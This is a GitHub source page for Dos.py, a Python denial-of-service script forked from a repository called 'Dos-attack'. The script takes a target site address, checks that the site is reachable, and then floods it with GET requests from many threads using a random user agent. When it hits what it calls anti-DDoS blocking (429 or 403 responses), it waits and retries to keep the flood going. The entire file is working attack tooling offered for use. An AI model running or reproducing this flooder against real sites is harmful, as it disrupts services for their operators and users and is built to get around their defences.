forked from amirhosseindehghan1/Dos-attack
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dos.py
114 lines (91 loc) · 3.86 KB
/
Dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import time
import sys
import requests
import http_status_code
import multiprocessing
from threading import Thread
from utils import StartSimpleCLI, GetuserAgent
CLI = StartSimpleCLI()
site = CLI.Start()
user_random = GetuserAgent()
index = 1
def SendRequest():
"""This Function send request to address"""
global index, RequestNumber
if index >= RequestNumber:
sys.exit("All Requests send successfully :)")
return
req = requests.get(site, headers=user_random)
print(f'[INFO] REQUEST NUMBER {index} [{req.status_code}] ')
if req.status_code == http_status_code.HTTP_429_TOO_MANY_REQUESTS:
print("Too Many Requests (Request Blocked by anti ddos) [Code : 429]")
time.sleep(10)
SendRequest()
if req.status_code == http_status_code.HTTP_403_FORBIDDEN:
print("Forbidden Error (Request Blocked by anti ddos) [Code : 429]")
time.sleep(10)
SendRequest()
index += 1
SendRequest()
def site_checking():
"""
This Function Check a Site is AVAILABLE or not
"""
global site
try:
site_check = requests.get(site, headers=user_random, timeout=5)
statusCode = site_check.status_code
match statusCode:
case 200:
print(f"[OK] Address is up and server return 200 response... [Code : 200]")
case http_status_code.HTTP_400_BAD_REQUEST:
print("Bad Request [Code : 400]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_500_INTERNAL_SERVER_ERROR:
print("Internal Server Error [Code : 500]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_503_SERVICE_UNAVAILABLE:
print("Service Unavailable [Code : 503]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_429_TOO_MANY_REQUESTS:
print("Too Many Requests (Request might Blocked by anti ddos) [Code : 429]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_403_FORBIDDEN:
print("Forbidden Error (Request might Blocked by anti ddos) [Code : 403]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case _:
print(f"another Error [code : {site_check.status_code}]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
except requests.exceptions.ConnectTimeout:
print("The server is offline Please check again when the server is online or check the IP address")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
except requests.exceptions.ConnectionError:
print("The server is offline Please check again when the server is online or check the IP address")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
# before sending request check site is AVAILABLE
site_checking()
RequestNumber = int(input("Enter Number of Request:"))
TreadNumber = input("Enter Tread Number: [leave it black for automatically selected]")
if not TreadNumber:
# num_threads = (num_cpus * 2) + 1
TreadNumber = (multiprocessing.cpu_count() * 2) + 1
print(f"Number of Treads: {TreadNumber}")
for i in range(TreadNumber):
newTread = Thread(target=SendRequest)
newTread.start()